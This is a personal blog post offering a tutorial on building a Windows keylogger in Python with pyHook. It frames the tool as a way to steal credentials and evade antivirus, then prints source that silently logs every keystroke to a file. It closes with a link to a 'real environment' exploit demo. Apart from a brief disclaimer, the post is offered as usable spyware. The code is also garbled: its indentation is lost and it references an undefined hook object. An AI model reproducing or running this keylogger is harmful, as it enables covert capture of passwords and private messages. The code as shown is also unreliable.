top of page
  • Writer's pictureVlad

[CodewithMe]Create your keylogger and execute in a real environment




What would you do if later on you know that you're keystroke is 'monitored' all this time, and all your personal data specifically your credentials is at risk??

Is it too late? Yes maybe, BUT! It's never too late to learn....



The keylogger is one of those classics that log the victim's keystroke and is one way of stealing their credentials. It monitors all traffic, simple activity as browsing online, which includes surfing social media :the conversations and chats, emails, your online purchase, your bank credentials and passwords to all apps, market transactions and your deep dark secrets,,, All your transactions that includes your keystrokes to do it, are monitored! It is a classical modern way of spying. classical ..modern.. way?

classical modern way- is my definition of a technology that never get's old... eventhough its quite old...

Anyway.. so can antivirus and firewall now detects keyloggers? the answer is 80% Yes! that is an easy detection now , that is if the technology used by that keylogger is the same to those used some years ago. Keylogging has now been patched by majority of the antivirus programs and firewalls and a tiny bit of component of that would be detected and blocked.


But keylogger can still somehow 20% not detected and we are still vulnerable from it.


How to create a keylogger?

Few years back I made a keylogger program in Python. This utilized a library that is pyHook. This library includes callback from mouse and keyboard events in Windows. Furthermore here are the libraries I used.

ctypes - for Windows process integration and involvement of useful dlls for keylogging; user32,kernel32 and psapi.


pythoncom - for pumpmessages methods in the Win32 Extension page, with this program waits for Windows event, and executes process.


pyHook - Manages user keystrokes.


win32clipboard - Used this for manipulating Windows Clipboard API.


sys - utilized this for exit process.


Below is a simple keylogger program


Disclaimer:

What you are about to see is for educational purposes only. Under no circumstances shall we have any liability to you for any loss or damages of any kind incurred as a result

of the use of this code. Your use of this code and your reliance on any information on the code is solely at your own risk.




from ctypes import *

import pythoncom

import pyHook

import win32clipboard

import sys

import os


log_file = '' #file location where the keystrokes are stored


def KeyStroke(event):

fob = open(log_file, 'a')

fob.write(event.Key)

fob.write("\n")



if event.Ascii==96:

fob.close()

new_hook.cancel()




def main():

k1 = pyHook.HookManager()

k1.KeyDown = KeyStroke


k1.HookKeyboard()

pythoncom.PumpMessages()

main()



For the realtime exploit demo here is the video.





36 views0 comments

Recent Posts

See All

LET'S TAKE IT TO THE NEXT LEVEL!

bottom of page